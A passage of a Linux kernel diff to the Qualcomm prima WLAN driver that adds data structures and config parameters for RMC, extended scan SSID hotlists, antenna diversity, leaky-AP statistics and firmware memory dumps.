struct +{ + tANI_U8 staIdx; //StaIdx + tANI_U32 txRate; //Tx Rate + tANI_U32 mcsIndex; //MCS Index + tANI_U32 txRateFlags; //TxRate Flags + tANI_S8 rssi; //RSSI +}tSirIbssPeerInfoParams; + +typedef struct +{ + tANI_U32 status; + tANI_U8 numPeers; + tSirIbssPeerInfoParams peerInfoParams[32]; +}tSirPeerInfoRspParams, *tpSirIbssPeerInfoRspParams; + +/*--------------------------------------------------------------------------- +* tSirIbssGetPeerInfoRspParams +*--------------------------------------------------------------------------*/ +typedef struct +{ + tANI_U16 mesgType; + tANI_U16 mesgLen; + tSirPeerInfoRspParams ibssPeerInfoRspParams; +} tSirIbssGetPeerInfoRspParams, *tpSirIbssGetPeerInfoRspParams; +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_BATCH_SCAN // Set batch scan resposne from FW typedef struct @@ -4716,6 +4975,7 @@ typedef void (*tSirFWStatsCallback)(VOS_STATUS status, tSirFwStatsResult *fwStatsRsp, void *pContext); typedef void (*sir_mgmt_frame_ind_callback)(tSirSmeMgmtFrameInd *frame_ind); +typedef void (*tAntennaDivSelCB)(int antennaId, void *pContext); /** * struct sir_sme_mgmt_frame_cb_req - Register a @@ -4783,6 +5043,26 @@ typedef PACKED_PRE struct PACKED_POST void *data; }tSirFWStatsInfo; +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U16 status; + tANI_U32 selectedAntennaId; + tANI_U32 reserved; +} tSirAntennaDivSelRsp, *tpSirntennaDivSelRsp; + +typedef PACKED_PRE struct PACKED_POST +{ + tAntennaDivSelCB callback; + void *data; + tANI_U32 reserved; +}tSirAntennaDiversitySelectionReq; + +typedef PACKED_PRE struct PACKED_POST +{ + tAntennaDivSelCB callback; + void *data; +}tSirAntennaDiversitySelectionInfo; + /*--------------------------------------------------------------------------- WLAN_HAL_LL_NOTIFY_STATS ---------------------------------------------------------------------------*/ @@ -5053,6 +5333,32 @@ typedef PACKED_PRE struct PACKED_POST tANI_U32 contentionNumSamples; } tSirWifiWmmAcStat, *tpSirWifiWmmAcStat; +#ifdef FEATURE_EXT_LL_STAT +typedef PACKED_PRE struct PACKED_POST +{ + /* Average Beacon spread offset is the averaged + * time delay between TBTT and beacon TSF + */ + tANI_U64 avg_bcn_spread; + /* Average number of frames received from AP after + * receiving the ACK for a frame with PM=1 + */ + tANI_U32 avg_rx_frms_leaked; + /* Rx leak watch window currently in force to minimize data loss + * because of leaky AP. Rx leak window is the time driver waits + * before shutting down the radio or switching the channel and + * after receiving an ACK for a data frame with PM bit set) + */ + tANI_U32 rx_leak_window; + + /* Takes value of 1 if AP leaks packets after sending + * an ACK for PM=1 otherwise 0 + */ + tANI_U32 is_leaky_ap; + +} tSirWifiIfaceLeakyApStat, *tpSirWifiIfaceLeakyApStat; +#endif + /* Interface statistics - corresponding to 2nd most * LSB in wifi statistics bitmap for getting statistics */ @@ -5077,6 +5383,10 @@ typedef PACKED_PRE struct PACKED_POST tANI_S32 rssiAck; // per ac data packet statistics tSirWifiWmmAcStat AccessclassStats[WIFI_AC_MAX]; +#ifdef FEATURE_EXT_LL_STAT + //Leaky Ap Stats + tSirWifiIfaceLeakyApStat leakyApStat; +#endif } tSirWifiIfaceStat, *tpSirWifiIfaceStat; /* Peer statistics - corresponding to 3rd most LSB in @@ -5156,7 +5466,6 @@ typedef struct tSirMacAddr bssid; // AP BSSID tANI_S32 low; // low threshold tANI_S32 high; // high threshold - tANI_U32 channel; // channel hint } tSirAPThresholdParam, *tpSirAPThresholdParam; typedef struct @@ -5177,9 +5486,10 @@ typedef struct tANI_U32 maxScanReportingThreshold; tANI_U32 maxHotlistAPs; - tANI_U32 maxSignificantWifiChangeAPs; + tANI_U32 maxHotlistSSIDs; tANI_U32 maxBsidHistoryEntries; + } tSirEXTScanCapabilitiesEvent, *tpSirEXTScanCapabilitiesEvent; /* WLAN_HAL_EXT_SCAN_RESULT_IND */ @@ -5214,21 +5524,72 @@ typedef PACKED_PRE struct PACKED_POST tANI_U16 capability; // capabilities advertised in the beacon } tSirWifiScanResult, *tpSirWifiScanResult; +/** + * struct tExtscanCachedScanResult - extscan cached scan result + * @scan_id: a unique identifier for the scan unit + * @flags: a bitmask with additional information about scan + * @num_results: number of bssids retrieved by the scan + * @ap: wifi scan bssid results info + */ + +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U16 scan_id; + tANI_U8 flags; + tANI_U8 num_results; + + tSirWifiScanResult ap[32]; +} tExtscanCachedScanResult, *tpExtscanCachedScanResult; + /* WLAN_HAL_BSSID_HOTLIST_RESULT_IND */ typedef PACKED_PRE struct PACKED_POST { tANI_U32 requestId; - tANI_U32 numOfAps; // numbers of APs + tANI_BOOLEAN bss_found; + tANI_U32 numHotlistBss; // numbers of APs + + /* + * 0 for last fragment + * 1 still more fragment(s) coming + */ + tANI_BOOLEAN moreData; + tSirWifiScanResult bssHotlist[1]; +} tSirEXTScanHotlistMatch, *tpSirEXTScanHotlistMatch; + + +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U32 requestId; + /* + * It gives number of scan ids + */ + tANI_U32 scanResultSize; /* * 0 for last fragment * 1 still more fragment(s) coming */ tANI_BOOLEAN moreData; - tSirWifiScanResult ap[1]; + tANI_U8 result[1]; } tSirWifiScanResultEvent, *tpSirWifiScanResultEvent; +/* WLAN_HAL_SSID_HOTLIST_RESULT_IND */ + +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U32 requestId; + tANI_BOOLEAN ssid_found; + tANI_U32 numHotlistSsid; // numbers of SSIDs + + /* + * 0 for last fragment + * 1 still more fragment(s) coming + */ + tANI_BOOLEAN moreData; + tSirWifiScanResult ssidHotlist[1]; +} tSirEXTScanSsidHotlistMatch, *tpSirEXTScanSsidHotlistMatch; + typedef PACKED_PRE struct PACKED_POST { tANI_U8 elemId; // Element Identifier @@ -5284,6 +5645,10 @@ typedef struct */ tANI_U8 reportEvents; + tANI_U32 max_period; + tANI_U32 exponent; + tANI_U32 step_count; + tANI_U8 numChannels; /* @@ -5300,9 +5665,12 @@ typedef struct tANI_U32 maxAPperScan; /* in %, when buffer is this much full, wake up host */ - tANI_U32 reportThreshold; + tANI_U32 reportThresholdPercent; + tANI_U32 reportThresholdNumScans; + + tANI_U32 homeAwayTime; //in units of milliseconds - tANI_U8 numBuckets; + tANI_U8 numBuckets; tSirWifiScanBucketSpec buckets[WLAN_EXTSCAN_MAX_BUCKETS]; } tSirEXTScanStartReqParams, *tpSirEXTScanStartReqParams; @@ -5328,8 +5696,8 @@ typedef struct { tANI_U32 requestId; tANI_U8 sessionId; // session Id mapped to vdev_id - - tANI_U32 numAp; // number of hotlist APs + tANI_U32 lostBssidSampleSize; + tANI_U32 numBssid; // number of hotlist APs tSirAPThresholdParam ap[WLAN_EXTSCAN_MAX_HOTLIST_APS]; // hotlist APs } tSirEXTScanSetBssidHotListReqParams, *tpSirEXTScanSetBssidHotListReqParams; @@ -5353,65 +5721,46 @@ typedef PACKED_PRE struct PACKED_POST typedef struct { - tANI_U32 requestId; - tANI_U8 sessionId; - - /* number of samples for averaging RSSI */ - tANI_U32 rssiSampleSize; - - /* number of missed samples to confirm AP loss */ - tANI_U32 lostApSampleSize; - - /* number of APs breaching threshold required for firmware - * to generate event - */ - tANI_U32 minBreaching; - - tANI_U32 numAp; - tSirAPThresholdParam ap[WLAN_EXTSCAN_MAX_SIGNIFICANT_CHANGE_APS]; -} tSirEXTScanSetSignificantChangeReqParams, - *tpSirEXTScanSetSignificantChangeReqParams; + tANI_U32 requestId; + tANI_U8 sessionId; +} tSirEXTScanResetSsidHotlistReqParams, *tpSirEXTScanResetSsidHotlistReqParams; typedef PACKED_PRE struct PACKED_POST { - tANI_U32 requestId; - tANI_U32 status; -} tSirEXTScanSetSignificantChangeRspParams, - *tpSirEXTScanSetSignificantChangeRspParams; - -/*--------------------------------------------------------------------------- - * WLAN_HAL_SIG_RSSI_RESULT_IND - *-------------------------------------------------------------------------*/ + tANI_U32 requestId; + tANI_U32 status; +} tSirEXTScanResetSsidHotlistRspParams, *tpSirEXTScanResetSsidHotlistRspParams; -typedef PACKED_PRE struct PACKED_POST -{ - tSirMacAddr bssid; // BSSID - tANI_U32 channel; // channel frequency in MHz - tANI_U8 numRssi; // number of rssi samples - tANI_S32 rssi[WLAN_EXTSCAN_MAX_RSSI_SAMPLE_SIZE]; // RSSI history in db -} tSirSigRssiResultParams, *tpSirSigRssiResultParams; -typedef PACKED_PRE struct PACKED_POST +/** + * struct sir_ssid_hotlist_param - param for SSID Hotlist + * @ssid: SSID which is being hotlisted + * @band: Band in which the given SSID should be scanned + * @rssi_low: Low bound on RSSI + * @rssi_high: High bound on RSSI + */ +typedef struct { - tANI_U32 requestId; - tANI_U32 numSigRssiBss; - tANI_BOOLEAN moreData; - tSirSigRssiResultParams sigRssiResult[1]; -} tSirWifiSignificantChangeEvent, *tpSirWifiSignificantChangeEvent; + tSirMacSSid ssid; + tANI_U8 band; + tANI_S32 rssi_low; + tANI_S32 rssi_high; +}tSirSsidThresholdParam, *tpSirSsidThresholdParam; typedef struct { - tANI_U32 requestId; - tANI_U8 sessionId; -} tSirEXTScanResetSignificantChangeReqParams, - *tpSirEXTScanResetSignificantChangeReqParams; + tANI_U32 request_id; + tANI_U8 session_id; + tANI_U32 lost_ssid_sample_size; + tANI_U32 ssid_count; + tSirSsidThresholdParam ssid[WLAN_EXTSCAN_MAX_HOTLIST_SSIDS]; +}tSirEXTScanSetSsidHotListReqParams, *tpSirEXTScanSetSsidHotListReqParams; typedef PACKED_PRE struct PACKED_POST { tANI_U32 requestId; tANI_U32 status; -} tSirEXTScanResetSignificantChangeRspParams, - *tpSirEXTScanResetSignificantChangeRspParams; +} tSirEXTScanSetSsidHotListRspParams, *tpSirEXTScanSetSsidHotListRspParams; /*--------------------------------------------------------------------------- * * WLAN_HAL_EXTSCAN_RESULT_AVAILABLE_IND @@ -5448,7 +5797,11 @@ typedef PACKED_PRE struct PACKED_POST }tSirEXTScanProgressIndParams, *tpSirEXTScanProgressIndParams; - +typedef PACKED_PRE struct PACKED_POST +{ + tANI_BOOLEAN pause; // 1 -> pause, 0 -> unpause + tANI_U32 reserved; //reserved for future use +}tSirHighPriorityDataInfoInd, *tpSirHighPriorityDataInfoInd; #endif /* WLAN_FEATURE_EXTSCAN */ @@ -5623,6 +5976,20 @@ typedef struct tANI_U8 SetTdls2040BSSCoex; //enabled or disabled } tAniSetTdls2040BSSCoex, *tpAniSetTdls2040BSSCoex; +/** + * struct sir_wifi_start_log - Structure to store the params sent to start/ + * stop logging + * @ringId: Attribute which indicates the type of logging like per packet + * statistics, connectivity etc. + * @verboseLevel: Verbose level which can be 0,1,2,3 + * @flag: Flag field for future use + */ +typedef struct sir_wifi_start_log { + tANI_U32 ringId; + tANI_U32 verboseLevel; + tANI_U32 flag; +}tAniWifiStartLog, *tpAniWifiStartLog; + typedef struct { tANI_U16 mesgType; @@ -5638,4 +6005,54 @@ typedef struct void *data; tSirMonModeCb callback; }tSirMonModeReq, *ptSirMonModeReq; + +/** + * struct tAniFwrDumpRsp - firmware dump response details. + * + * This structure is used to store the firmware dump + * response from the firmware. + */ +typedef struct +{ + tANI_U32 dump_status; +}tAniFwrDumpRsp, *tpAniFwrDumpRsp; + +typedef void (*FWMemDumpReqCb)(void *fwMemDumpReqContext, tAniFwrDumpRsp *dump_rsp); + +/** + * struct tAniFwrDumpReq - firmware memory dump request details. +.*.@FWMemDumpReqCb - Associated Callback + *.@fwMemDumpReqContext - Callback context + * @reserved - reserved field 1. + * + * This structure carries information about the firmware + * memory dump request. + */ +typedef struct +{ + FWMemDumpReqCb fwMemDumpReqCallback; + void * fwMemDumpReqContext; + tANI_U32 reserved1; +}tAniFwrDumpReq, *tpAniFwrDumpReq; + +/** +* struct tSetWifiConfigParams - Structure to store the wificonfig related params +* @paramType: 1. Average Stats factor 2. Guard type +* @paramvalue: Value to be set in the firmware. +* @bssId: macaddr of the connected BssId +*/ +typedef struct +{ + tANI_U8 paramType; + tANI_U8 sessionId; + tANI_U32 paramValue; + tSirMacAddr bssId; +} tSetWifiConfigParams, *tpSetWifiConfigParams; + +typedef struct { + tANI_U8 param; + tANI_U32 value; +} tModifyRoamParamsReqParams, * tpModifyRoamParamsReqParams; + + #endif /* __SIR_API_H */ diff --git a/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h b/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h index abe09c8300819..b635693130ced 100644 --- a/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h +++ b/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h @@ -179,7 +179,8 @@ #define SIR_MAC_ACTION_FST 18 #define SIR_MAC_ACTION_VHT 21 - +#define SIR_MAC_ACTION_TX 1 +#define SIR_MAC_ACTION_RX 2 // QoS management action codes #define SIR_MAC_QOS_ADD_TS_REQ 0 @@ -2447,6 +2448,18 @@ typedef __ani_attr_pre_packed struct sSirMacVendorSpecificFrameHdr } __ani_attr_packed tSirMacVendorSpecificFrameHdr, *tpSirMacVendorSpecificFrameHdr; #endif +#ifdef WLAN_FEATURE_RMC +typedef __ani_attr_pre_packed struct sSirMacIbssExtNetworkFrameHdr +{ + tANI_U8 category; + tANI_U8 Oui[3]; + tANI_U8 MagicCode[6]; + tANI_U8 version; + tANI_U8 actionID; + tANI_U32 dialogToken; +} __ani_attr_packed tSirMacIbssExtNetworkFrameHdr, *tpSirMacIbssExtNetworkFrameHdr; +#endif /* WLAN_FEATURE_RMC */ + typedef __ani_attr_pre_packed struct sSirMacVendorSpecificPublicActionFrameHdr { tANI_U8 category; @@ -2878,6 +2891,24 @@ typedef __ani_attr_pre_packed struct sSirPhy11aHdr #define SIR_MAC_MIN_IE_LEN 2 // Minimum IE length for IE validation +#ifdef WLAN_FEATURE_RMC + +// RMC action codes +#define SIR_MAC_RMC_ENABLE_REQ 0 +#define SIR_MAC_RMC_DISABLE_REQ 1 +#define SIR_MAC_RMC_RULER_INFORM_SELECTED 2 +#define SIR_MAC_RMC_RULER_INFORM_CANCELLED 3 + +// RMC protocol version +#define SIR_MAC_RMC_VER 0x01 + +// Organization Identifier +#define SIR_MAC_RMC_OUI "\x00\x16\x32" +#define SIR_MAC_RMC_OUI_SIZE 3 + +#define SIR_MAC_RMC_MCAST_ADDRESS "\x01\x00\x5E\x00\x02\x0A" + +#endif /* WLAN_FEATURE_RMC */ #define SIR_MAC_TI_TYPE_REASSOC_DEADLINE 1 #define SIR_MAC_TI_TYPE_KEY_LIFETIME 2 diff --git a/drivers/staging/prima/CORE/MAC/inc/wniApi.h b/drivers/staging/prima/CORE/MAC/inc/wniApi.h index 97d127c793c56..ff69d7f450453 100644 --- a/drivers/staging/prima/CORE/MAC/inc/wniApi.h +++ b/drivers/staging/prima/CORE/MAC/inc/wniApi.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -132,6 +132,7 @@ enum eWniMsgTypes eWNI_SME_DEAUTH_REQ, eWNI_SME_DEAUTH_RSP, eWNI_SME_DEAUTH_IND, + eWNI_SME_DISCONNECT_DONE_IND, eWNI_SME_WM_STATUS_CHANGE_NTF, eWNI_SME_IBSS_NEW_PEER_IND, eWNI_SME_IBSS_PEER_DEPARTED_IND, @@ -355,10 +356,17 @@ enum eWniMsgTypes eWNI_SME_CANDIDATE_FOUND_IND, /*ROAM candidate indication from FW*/ eWNI_SME_HANDOFF_REQ,/*upper layer requested handoff to driver in STA mode*/ eWNI_SME_ROAM_SCAN_OFFLOAD_RSP,/*Fwd the LFR scan offload rsp from FW to SME*/ +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + eWNI_SME_ROAM_SCAN_TRIGGER_RSP, +#endif #ifdef FEATURE_WLAN_LPHB eWNI_SME_LPHB_IND, #endif /* FEATURE_WLAN_LPHB */ - +#ifdef WLAN_FEATURE_RMC + eWNI_SME_ENABLE_RMC_REQ, + eWNI_SME_DISABLE_RMC_REQ, + eWNI_SME_IBSS_PEER_INFO_RSP, +#endif /* WLAN_FEATURE_RMC */ eWNI_SME_GET_TSM_STATS_REQ, eWNI_SME_GET_TSM_STATS_RSP, eWNI_SME_TSM_IE_IND, diff --git a/drivers/staging/prima/CORE/MAC/inc/wniCfg.h b/drivers/staging/prima/CORE/MAC/inc/wniCfg.h index 340401dc75940..81d3e7d10c08c 100644 --- a/drivers/staging/prima/CORE/MAC/inc/wniCfg.h +++ b/drivers/staging/prima/CORE/MAC/inc/wniCfg.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -340,12 +340,12 @@ enum { WNI_CFG_FLEX_CONNECT_POWER_FACTOR, WNI_CFG_ANTENNA_DIVESITY, WNI_CFG_GO_LINK_MONITOR_TIMEOUT, + WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY, WNI_CFG_ATH_DISABLE, WNI_CFG_BTC_ACTIVE_WLAN_LEN, WNI_CFG_BTC_ACTIVE_BT_LEN, WNI_CFG_BTC_SAP_ACTIVE_WLAN_LEN, WNI_CFG_BTC_SAP_ACTIVE_BT_LEN, - WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY, WNI_CFG_ASD_PROBE_INTERVAL, WNI_CFG_ASD_TRIGGER_THRESHOLD, WNI_CFG_ASD_RTT_RSSI_HYST_THRESHOLD, @@ -387,9 +387,13 @@ enum { WNI_CFG_LINK_FAIL_TIMEOUT, WNI_CFG_LINK_FAIL_TX_CNT, WNI_CFG_OPTIMIZE_CA_EVENT, + WNI_CFG_ACTIVE_PASSIVE_CON, + WNI_CFG_EXT_SCAN_CONC_MODE, WNI_CFG_ENABLE_MAC_ADDR_SPOOFING, + WNI_CFG_DISABLE_BAR_WAKE_UP_HOST, WNI_CFG_SAR_BOFFSET_SET_CORRECTION, - WNI_CFG_DISABLE_BAR_WAKE_UP_HOST + WNI_CFG_ENABLE_UNITS_BWAIT, + WNI_CFG_ENABLE_CONC_BMISS }; /* @@ -1655,6 +1659,14 @@ enum { #define WNI_CFG_ENABLE_LPWR_IMG_TRANSITION_STAMAX 1 #define WNI_CFG_ENABLE_LPWR_IMG_TRANSITION_STADEF 0 +#define WNI_CFG_ENABLE_CONC_BMISS_STAMIN 2 +#define WNI_CFG_ENABLE_CONC_BMISS_STAMAX 10 +#define WNI_CFG_ENABLE_CONC_BMISS_STADEF 5 + +#define WNI_CFG_ENABLE_UNITS_BWAIT_STAMIN 2 +#define WNI_CFG_ENABLE_UNITS_BWAIT_STAMAX 10 +#define WNI_CFG_ENABLE_UNITS_BWAIT_STADEF 2 + #define WNI_CFG_ENABLE_MCC_ADAPTIVE_SCHED_STAMIN 0 #define WNI_CFG_ENABLE_MCC_ADAPTIVE_SCHED_STAMAX 1 #define WNI_CFG_ENABLE_MCC_ADAPTIVE_SCHED_STADEF 0 @@ -1699,6 +1711,10 @@ enum { #define WNI_CFG_GO_LINK_MONITOR_TIMEOUT_STAMAX 50 #define WNI_CFG_GO_LINK_MONITOR_TIMEOUT_STADEF 10 +#define WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STAMIN 100 +#define WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STAMAX 1000 +#define WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STADEF 300 + #define WNI_CFG_ATH_DISABLE_STAMIN 0 #define WNI_CFG_ATH_DISABLE_STAMAX 1 #define WNI_CFG_ATH_DISABLE_STADEF 0 @@ -1719,10 +1735,6 @@ enum { #define WNI_CFG_BTC_SAP_ACTIVE_BT_LEN_STAMAX 250000 #define WNI_CFG_BTC_SAP_ACTIVE_BT_LEN_STADEF 30000 -#define WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STAMIN 0 -#define WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STAMAX 4294967295 -#define WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STADEF 300 - #define WNI_CFG_ASD_PROBE_INTERVAL_STAMIN 1 #define WNI_CFG_ASD_PROBE_INTERVAL_STAMAX 500 #define WNI_CFG_ASD_PROBE_INTERVAL_STADEF 50 @@ -1852,7 +1864,7 @@ enum { #define WNI_CFG_BURST_MODE_BE_TXOP_VALUE_STADEF 0 #define WNI_CFG_ENABLE_DYNAMIC_RA_START_RATE_STAMIN 0 -#define WNI_CFG_ENABLE_DYNAMIC_RA_START_RATE_STAMAX 1 +#define WNI_CFG_ENABLE_DYNAMIC_RA_START_RATE_STAMAX 65535 #define WNI_CFG_ENABLE_DYNAMIC_RA_START_RATE_STADEF 0 #define WNI_CFG_BTC_FAST_WLAN_CONN_PREF_STAMIN 0 @@ -1894,20 +1906,29 @@ enum { #define WNI_CFG_OPTIMIZE_CA_EVENT_ENABLE 1 #define WNI_CFG_OPTIMIZE_CA_EVENT_DEFAULT 0 +#define WNI_CFG_ACTIVE_PASSIVE_CON_MIN 0 +#define WNI_CFG_ACTIVE_PASSIVE_CON_MAX 1 +#define WNI_CFG_ACTIVE_PASSIVE_CON_DEF 1 + +#define WNI_CFG_EXT_SCAN_CONC_MODE_MIN 0 +#define WNI_CFG_EXT_SCAN_CONC_MODE_MAX 2 +#define WNI_CFG_EXT_SCAN_CONC_MODE_DEF 1 + #define WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_MIN 0 #define WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_MAX 2 #define WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_DEF 1 +#define WNI_CFG_DISABLE_BAR_WAKE_UP_HOST_MIN 0 +#define WNI_CFG_DISABLE_BAR_WAKE_UP_HOST_MAX 1 +#define WNI_CFG_DISABLE_BAR_WAKE_UP_HOST_DEF 0 + #define WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MIN 0 #define WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MAX 1 #define WNI_CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT 0 -#define WNI_CFG_DISABLE_BAR_WAKE_UP_HOST_MIN 0 -#define WNI_CFG_DISABLE_BAR_WAKE_UP_HOST_MAX 1 -#define WNI_CFG_DISABLE_BAR_WAKE_UP_HOST_DEF 0 -#define CFG_PARAM_MAX_NUM 356 -#define CFG_STA_IBUF_MAX_SIZE 290 +#define CFG_PARAM_MAX_NUM 360 +#define CFG_STA_IBUF_MAX_SIZE 294 #define CFG_STA_SBUF_MAX_SIZE 3389 #define CFG_STA_MAGIC_DWORD 0xbeefbeef diff --git a/drivers/staging/prima/CORE/MAC/src/cfg/cfgApi.c b/drivers/staging/prima/CORE/MAC/src/cfg/cfgApi.c index cd76522328361..9047d3a7a2188 100644 --- a/drivers/staging/prima/CORE/MAC/src/cfg/cfgApi.c +++ b/drivers/staging/prima/CORE/MAC/src/cfg/cfgApi.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1055,7 +1055,7 @@ cfgGetCapabilityInfo(tpAniSirGlobal pMac, tANI_U16 *pCap,tpPESession sessionEntr return eSIR_FAILURE; } #if defined WLAN_VOWIFI_DEBUG - PELOGE(cfgLog( pMac, LOGE, "RRM = %d",val );) + PELOGE(cfgLog( pMac, LOG1, "RRM = %d",val );) #endif if (val) pCapInfo->rrm = 1; diff --git a/drivers/staging/prima/CORE/MAC/src/cfg/cfgParamName.c b/drivers/staging/prima/CORE/MAC/src/cfg/cfgParamName.c index af2d1c7467ca2..5fda17064fae6 100644 --- a/drivers/staging/prima/CORE/MAC/src/cfg/cfgParamName.c +++ b/drivers/staging/prima/CORE/MAC/src/cfg/cfgParamName.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -341,12 +341,12 @@ unsigned char *gCfgParamName[] = { (unsigned char *)"FLEX_CONNECT_POWER_FACTOR", (unsigned char *)"ANTENNA_DIVESITY", (unsigned char *)"GO_LINK_MONITOR_TIMEOUT", + (unsigned char *)"RMC_ACTION_PERIOD_FREQUENCY", (unsigned char *)"ATH_DISABLE", (unsigned char *)"BTC_ACTIVE_WLAN_LEN", (unsigned char *)"BTC_ACTIVE_BT_LEN", (unsigned char *)"BTC_SAP_ACTIVE_WLAN_LEN", (unsigned char *)"BTC_SAP_ACTIVE_BT_LEN", - (unsigned char *)"RMC_ACTION_PERIOD_FREQUENCY", (unsigned char *)"ASD_PROBE_INTERVAL", (unsigned char *)"ASD_TRIGGER_THRESHOLD", (unsigned char *)"ASD_RTT_RSSI_HYST_THRESHOLD", @@ -371,6 +371,7 @@ unsigned char *gCfgParamName[] = { (unsigned char *)"BTC_DYN_OPP_TX_QUEUE_THOLD", (unsigned char *)"TDLS_WMM_MODE_ENABLED", (unsigned char *)"BURST_MODE_BE_TXOP_VALUE", + (unsigned char *)"EXT_SCAN_CONC_MODE", }; diff --git a/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c b/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c index 3f3c64a046953..630d53acf34de 100644 --- a/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c +++ b/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c @@ -1385,6 +1385,16 @@ tAniSirCgStatic cfgStatic[CFG_PARAM_MAX_NUM] = WNI_CFG_ENABLE_LPWR_IMG_TRANSITION_STAMIN, WNI_CFG_ENABLE_LPWR_IMG_TRANSITION_STAMAX, WNI_CFG_ENABLE_LPWR_IMG_TRANSITION_STADEF}, + {WNI_CFG_ENABLE_CONC_BMISS, + CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT, + WNI_CFG_ENABLE_CONC_BMISS_STAMIN, + WNI_CFG_ENABLE_CONC_BMISS_STAMAX, + WNI_CFG_ENABLE_CONC_BMISS_STADEF}, + {WNI_CFG_ENABLE_UNITS_BWAIT, + CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT, + WNI_CFG_ENABLE_UNITS_BWAIT_STAMIN, + WNI_CFG_ENABLE_UNITS_BWAIT_STAMAX, + WNI_CFG_ENABLE_UNITS_BWAIT_STADEF}, {WNI_CFG_ENABLE_MCC_ADAPTIVE_SCHED, CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT, WNI_CFG_ENABLE_MCC_ADAPTIVE_SCHED_STAMIN, @@ -1440,6 +1450,12 @@ tAniSirCgStatic cfgStatic[CFG_PARAM_MAX_NUM] = WNI_CFG_GO_LINK_MONITOR_TIMEOUT_STAMIN, WNI_CFG_GO_LINK_MONITOR_TIMEOUT_STAMAX, WNI_CFG_GO_LINK_MONITOR_TIMEOUT_STADEF}, + {WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY, + CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, + WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STAMIN, + WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STAMAX, + WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STADEF}, + {WNI_CFG_ATH_DISABLE, CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT, WNI_CFG_ATH_DISABLE_STAMIN, @@ -1465,11 +1481,6 @@ tAniSirCgStatic cfgStatic[CFG_PARAM_MAX_NUM] = WNI_CFG_BTC_SAP_ACTIVE_BT_LEN_STAMIN, WNI_CFG_BTC_SAP_ACTIVE_BT_LEN_STAMAX, WNI_CFG_BTC_SAP_ACTIVE_BT_LEN_STADEF}, - {WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY, - CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, - WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STAMIN, - 4294967295u, - WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STADEF}, {WNI_CFG_ASD_PROBE_INTERVAL, CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, WNI_CFG_ASD_PROBE_INTERVAL_STAMIN, @@ -1677,21 +1688,31 @@ tAniSirCgStatic cfgStatic[CFG_PARAM_MAX_NUM] = WNI_CFG_OPTIMIZE_CA_EVENT_DISABLE, WNI_CFG_OPTIMIZE_CA_EVENT_ENABLE, WNI_CFG_OPTIMIZE_CA_EVENT_DEFAULT}, + {WNI_CFG_ACTIVE_PASSIVE_CON, + CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, + WNI_CFG_ACTIVE_PASSIVE_CON_MIN, + WNI_CFG_ACTIVE_PASSIVE_CON_MAX, + WNI_CFG_ACTIVE_PASSIVE_CON_DEF}, + {WNI_CFG_EXT_SCAN_CONC_MODE, + CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, + WNI_CFG_EXT_SCAN_CONC_MODE_MIN, + WNI_CFG_EXT_SCAN_CONC_MODE_MAX, + 